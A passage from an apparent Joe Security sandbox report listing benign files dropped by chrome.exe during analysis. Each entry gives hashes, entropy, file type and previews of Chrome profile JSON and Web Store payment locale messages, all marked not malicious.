t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13301203004718122","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 420

Entropy (8bit): 4.985305467053914

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y

MD5: C401B619D9D8E0ADABC25A47EE49CFBA

SHA1: C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA

SHA-256: 8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F

SHA-512: BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\9d60acc6-fb66-47d1-be28-

c795a5970d58.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

Copyright Joe Security LLC 2022 Page 18 of 79



SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Reputation: low

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 420

Entropy (8bit): 4.985305467053914

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y

MD5: C401B619D9D8E0ADABC25A47EE49CFBA

SHA1: C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA

SHA-256: 8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F

SHA-512: BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Reputation: low

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)
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Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 106

Entropy (8bit): 3.138546519832722

Encrypted: false

SSDEEP: 3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l

MD5: DE9EF0C5BCC012A3A1131988DEE272D8

SHA1: FA9CCBDC969AC9E1474FCE773234B28D50951CD8

SHA-256: 3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

SHA-512: CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

Malicious: false

Reputation: low

Preview: C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit): 2.8150724101159437

Encrypted: false

SSDEEP: 3:Yx7:4

MD5: C422F72BA41F662A919ED0B70E5C3289

SHA1: AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632

SHA-256: 02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59

SHA-512: 86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46

Malicious: false

Reputation: low

Preview: 85.0.4183.121

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 214211

Entropy (8bit): 6.0708292137494695

Encrypted: false

SSDEEP: 6144:hiogQRUdqlM7dKoOO2Z9gK1YcraqfIlUOoSiuRQ:hiNDdqe70oOl9gKVco7

MD5: A31DF19C38B459D3D90570898AC38FCC

SHA1: 0CCE4DE79D176072715F481EA808B12AFAF6ECDD

SHA-256: 21F89A35B8EC7F656D28AB1AB66366AA5D90807C71C10A8E53BADA63A5E7EFAD

SHA-512: F01FE99660083AC573A1DA5FC82AEBDE60DFB1E4C183673C315A4FA62A05C205F9BB6314FBB89D3EC01E4F39345B5EEA720CF5A542CD2F379CF15929B05F4A
37

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.656729406792677e+12,"network":1.656697008e+12,"ticks":117798111.0,"uncertainty":3784700.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639706830"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
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File Type: data

Category: dropped

Size (bytes): 92724

Entropy (8bit): 3.7510549002658333

Encrypted: false

SSDEEP: 384:HD69F7gujDD70NjsNVjrNQvV/P3+RbuH/mGN8Frwz1VxOP7NV6rYJm7073wPxlJa:KKtFu/KmQebJrnEnrCTKJvFF2

MD5: E661DC8AFA4E956DE64DC2B4E6688462

SHA1: 3ED2E4CEAAD2E6BA53EFDAC3C0B2B38282DDDEE0

SHA-256: 32A76A93DF713F907095B9B4D5146E3907E421A4AADA4B599BBA66679A20BBE8

SHA-512: BF70A7B68C7EE1FC9B04C5BDABEA4823DA9921EA4ABC87B7FAF78AE9D0AB62338AB52268F5E7D38A287E4A09FFE63A113A5676F18C1C50367C221C7DBB308
A43

Malicious: false

Reputation: low

Preview: 0j..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 214211

Entropy (8bit): 6.0708292137494695

Encrypted: false

SSDEEP: 6144:hiogQRUdqlM7dKoOO2Z9gK1YcraqfIlUOoSiuRQ:hiNDdqe70oOl9gKVco7

MD5: A31DF19C38B459D3D90570898AC38FCC

SHA1: 0CCE4DE79D176072715F481EA808B12AFAF6ECDD

SHA-256: 21F89A35B8EC7F656D28AB1AB66366AA5D90807C71C10A8E53BADA63A5E7EFAD

SHA-512: F01FE99660083AC573A1DA5FC82AEBDE60DFB1E4C183673C315A4FA62A05C205F9BB6314FBB89D3EC01E4F39345B5EEA720CF5A542CD2F379CF15929B05F4A
37

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.656729406792677e+12,"network":1.656697008e+12,"ticks":117798111.0,"uncertainty":3784700.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639706830"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 214211

Entropy (8bit): 6.070829936865481

Encrypted: false

SSDEEP: 6144:DiogQRUdqlM7dKoOO2Z9gK1YcraqfIlUOoSiuRQ:DiNDdqe70oOl9gKVco7

MD5: 2512D1EDA3E43E88A83649C61DF279B4

SHA1: ADB44884005C1DE3C58FBBDB13C2C7568D427ACF

SHA-256: 329A3F6BA81B53CEAD430873C8F3EB1E9E16D524D6836B6A0F0518D59F3E0A14

SHA-512: 648C0D3F9DAF4E5986959E5D4926EAFB563CFD1AF5AC306E6D4632E8164774606BD58EDF1F0A98F6F23571144B07D562A4FB814169CEF0C85C7E45CADED6E97
4

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.656729406792677e+12,"network":1.656697008e+12,"ticks":117798111.0,"uncertainty":3784700.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\b870082c-126a-43f3-bb6a-3a9096fbf1cc.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\d315f094-ef97-4a38-9412-dc04e5a72028.tmp
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 92724

Entropy (8bit): 3.7510549002658333

Encrypted: false

SSDEEP: 384:HD69F7gujDD70NjsNVjrNQvV/P3+RbuH/mGN8Frwz1VxOP7NV6rYJm7073wPxlJa:KKtFu/KmQebJrnEnrCTKJvFF2

MD5: E661DC8AFA4E956DE64DC2B4E6688462

SHA1: 3ED2E4CEAAD2E6BA53EFDAC3C0B2B38282DDDEE0

SHA-256: 32A76A93DF713F907095B9B4D5146E3907E421A4AADA4B599BBA66679A20BBE8

SHA-512: BF70A7B68C7EE1FC9B04C5BDABEA4823DA9921EA4ABC87B7FAF78AE9D0AB62338AB52268F5E7D38A287E4A09FFE63A113A5676F18C1C50367C221C7DBB308
A43

Malicious: false

Reputation: low

Preview: 0j..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SysEx File -

Category: dropped

Size (bytes): 94708

Entropy (8bit): 3.7517481614121646

Encrypted: false

SSDEEP: 384:pD69F7guH4DDHVsN0NjsNVjrNQvV/P3+RbuH/mGN8Frwz1VxOP7NV6rYJm7073ws:J+KtFu/KmQebJrnEnrCTKJvFFy

MD5: 08E9F635A56F623694DF260B78D915E8

SHA1: 9971396BFCF44DAA082236727E562A7C4A29A495

SHA-256: BCADE0ED8D1961138E25388367D5F0B01ABA3352F1404E49E8C790987497E166

SHA-512: 09E1115F0B76F833EBE9A89BF8D9A857FE60ABA36BCFBD5823BACF9B52FEFE0CD6B0C019BD5EB4D8B48C73A73F6C394219C6EF32F2CB8AEEF6B9A8C78991
DB99

Malicious: false

Reputation: low

Preview: .q..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Reputation: low

Preview: .

C:\Users\user\AppData\Local\Google\Chrome\User Data\dc30fb4c-49cf-45ab-853f-a09675d941d1.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\e61f9840-4530-41f4-be7a-5fc992f24c18.tmp

C:\Users\user\AppData\Local\Temp\192889ef-d1e4-49a1-8185-9b1dd96571fe.tmp

C:\Users\user\AppData\Local\Temp\a064512f-d671-49c6-95f2-8cc5baade69e.tmp
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Reputation: low

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 796

Entropy (8bit): 4.864931792423268

Encrypted: false

SSDEEP: 12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD

MD5: 6F8E288A9AD5B1ED8633B430E2B4D4CA

SHA1: F671D3D4BEFA431D1946D706F4192D44E29B6F08

SHA-256: A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8

SHA-512: 0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F770
0C

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "........ . ... ........ .. Chrome"..   },..   "app_name": {..      "message": "........ . ... ........ .. Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........... .... ...... .. ............."..   },..   "craw_connect_to_network": {..      "message": "...., ........ .. . ......"..   },..   "iap_unavailable": {..      "message": "........... .... 
...... .. .......... ....... .. ........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "...., ...... . 
Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 675

Entropy (8bit): 4.536753193530313

Encrypted: false

SSDEEP: 12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD

MD5: 1FDAFC926391BD580B655FBAF46ED260

SHA1: C95743C3F43B2B099FEBEBC5BD850F0C20E820AC

SHA-256: C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20

SHA-512: 39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CB
B4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagaments de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagaments de Chrome Web 
Store"..   },..   "craw_app_unavailable": {..      "message": "Ara mateix aquesta aplicaci. no est. disponible."..   },..   "craw_connect_to_network": {..      "message": "C
onnecteu-vos a una xarxa."..   },..   "iap_unavailable": {..      "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicieu la sessi. a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\bg\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ca\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\cs\messages.json
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Category: dropped

Size (bytes): 641

Entropy (8bit): 4.698608127109193

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW

MD5: 76DEC64ED1556180B452A13C83171883

SHA1: CFB1E56FD587BCDC459C1D9A683B71F9849058F9

SHA-256: 32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40

SHA-512: 5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885
CB

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
